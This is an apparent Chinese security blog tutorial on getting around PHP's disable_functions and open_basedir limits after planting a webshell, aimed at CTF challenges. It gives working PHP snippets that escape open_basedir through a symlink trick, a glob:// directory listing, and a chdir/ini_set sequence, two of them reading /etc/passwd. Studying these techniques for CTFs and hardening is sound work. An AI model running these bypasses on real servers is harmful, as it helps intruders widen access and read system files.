主页 > 网络知识 > php中函数禁用绕过的原理与利用

php中函数禁用绕过的原理与利用

bypass disable function

是否遇到过费劲九牛二虎之力拿了webshell,却发现连个scandir都执行不了?拿了webshell确实是一件很欢乐的事情,但有时候却仅仅只是一个小阶段的结束;本文将会以webshell作为起点从头到尾来归纳bypass disable function的各种姿势。

从phpinfo中获取可用信息

信息收集是不可缺少的一环;通常的,我们在通过前期各种工作成功执行代码 or 发现了一个phpinfo页面之后,会从该页面中搜集一些可用信息以便后续漏洞的寻找。

我谈谈我个人的几个偏向点:

版本号

最直观的就是php版本号(虽然版本号有时候会在响应头中出现),如我的机器上版本号为:

PHP Version 7.2.9-1

那么找到版本号后就会综合看看是否有什么"版本专享"漏洞可以利用。

DOCUMENT_ROOT

接下来就是搜索一下DOCUMENT_ROOT取得网站当前路径,虽然常见的都是在/var/www/html,但难免有例外。

disable_functions

这是本文的重点,disable_functions顾名思义函数禁用,以笔者的kali环境为例,

如一些ctf题会把disable设置的极其恶心,即使我们在上传马儿到网站后会发现什么也做不了,那么此时的绕过就是本文所要讲的内容了。

open_basedir

该配置限制了当前php程序所能访问到的路径,如笔者设置了:

<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); phpinfo();

随后我们能够看到phpinfo中出现如下:

 

image.png

 

尝试scandir会发现列根目录失败。

<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); //phpinfo(); var_dump(scandir(".")); var_dump(scandir("/")); //array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) "index.html" [3]=> string(23) "index.nginx-debian.html" [4]=> string(11) "phpinfo.php" } bool(false) opcache

如果使用了opcache,那么可能达成getshell,但需要存在文件上传的点,直接看链接:

https://www.cnblogs.com/xhds/p/13239331.html

others

如文件包含时判断协议是否可用的两个配置项:

allow_url_include、allow_url_fopen

上传webshell时判断是否可用短标签的配置项:

short_open_tag

还有一些会在下文中讲到。

bypass open_basedir

因为有时需要根据题目判断采用哪种bypass方式,同时,能够列目录对于下一步测试有不小帮助,这里列举几种比较常见的bypass方式,均从p神博客摘出,推荐阅读p神博客原文,这里仅作简略总结。

syslink

https://www.php.net/manual/zh/function.symlink.php

symlink ( string $target , string $link ) : bool

symlink() 对于已有的 target 建立一个名为 link 的符号连接。

简单来说就是建立软链达成bypass。

代码实现如下:

<?php symlink("abc/abc/abc/abc","tmplink");  symlink("tmplink/../../../../etc/passwd", "exploit");  unlink("tmplink");  mkdir("tmplink");

首先是创建一个link,将tmplink用相对路径指向abc/abc/abc/abc,然后再创建一个link,将exploit指向tmplink/../../../../etc/passwd,此时就相当于exploit指向了abc/abc/abc/abc/../../../../etc/passwd,也就相当于exploit指向了./etc/passwd,此时删除tmplink文件后再创建tmplink目录,此时就变为/etc/passwd成功跨目录。

访问exploit即可读取到/etc/passwd。

glob

查找匹配的文件路径模式,是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议

常用bypass方式如下:

<?php $c = "glob:///*"; $a = new DirectoryIterator($c); foreach($a as $f){  echo($f->__toString().'<br>'); } ?>

但会发现比较神奇的是只能列举根目录下的文件。

chdir()与ini_set()

chdir是更改当前工作路径。

mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/etc/passwd');
说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!